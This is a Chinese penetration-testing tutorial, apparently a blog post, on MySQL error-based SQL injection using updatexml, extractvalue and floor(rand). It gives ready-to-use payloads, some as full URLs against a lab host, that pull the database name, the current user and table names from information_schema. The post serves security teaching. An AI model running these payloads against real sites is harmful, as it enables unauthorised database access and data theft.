渗透测试-SQL注入-报错注入


一 Union查询注入不适用的地方

  1. 注入语句无法截断,且不清楚完整的SQL查询语句
  2. 页面不能返回查询信息的时候
  3. Web页面中有两个SQL查询语句,查询语句的列数不同

二 关于MySQL处理XML

  1. 准备以下XML文件内容
<class id="WNCDC085">
  <student sequence="1">
    <id>WNCD201703015</id>
    <name>景晓跃</name>
    <sex></sex>
    <age>24</age>
    <degree>本科</degree>
    <school>电子科技大学</school>
  </student>
  <student sequence="2">
    <id>WNCD201703020</id>
    <name>何小学</name>
    <sex></sex>
    <age>29</age>
    <degree>本科</degree>
    <school>li==理工大学</school>
  </student>
</class>
  1. 创建一张表,其中一列的值为上述XML文件

本例中xmltable为表名,testxml为列名,只有一行一列,值为上述XML文件

  1. 执行以下SQL语句
# 查询何小学
select extractvalue(testxml,'//student[@sequence="2"]/name') from xmltable;
# 将何小学改为何大学
update xmltable set testxml = updatexml(testxml,'//student[@sequence="2"]/name',"<name>何大学</name>");

三 报错注入

当union select出现不适用的情况下,我们通常使用报错来进行注入
报错注入的原理就是通过构造特殊的报错语句,使用mysql数据库报错,使我们查询的内容显示在报错信息中,同时把报错信息显示在页面上。
常见的报错函数有 updateXML(),extractvalue(),floor()等。大致报错的原理就是利用输入字符串逻辑上的冲突造成报错。

1 and updatexml(1,concat(0x7e,database(),0x7e),1)
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.tables where table_schema='learn'),0x7e),1)

updatexml()函数的参数

参数描述
XML_documentString格式,为XML文档对象的名称,文中为Doc
XPath_stringXpath格式的字符串
new_valueString格式,替换查找到的符合条件的数据

concat()函数是将其连成一个字符串,因此不符合**XPATH_string的格式,**从而出现格式错误,爆出相关信息。
0x7e是ASCII码,~updatexml()报错信息为特殊字符、字母之后的内容,为了前面字母丢失,开头连接一个特殊字符~

以下payload构造了正确的xpath路径,无法实现报错

http://192.168.88.130/security/read.php?id=1 and updatexml(1,"//name",1)

四 常用报错注入payload

报错注入涉及select,insert,update,delete

1. updatexml报错
and updatexml(1,concat(0x7e,(select user()),0x7e),1)

http://192.168.88.130/security/read.php?id=1 and 
updatexml(1,concat(0x7e,(select group_concat(table_name) from 
information_schema.tables where table_schema='learn'),0x7e),1)

2. Extractvalue报错
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables linit 1),0x7e));

3. floor报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from 
information_schema.tables group by x)a);

http://192.168.88.130/security/read.php?id=1 and 
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from 
information_schema.tables group by x)a);
  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值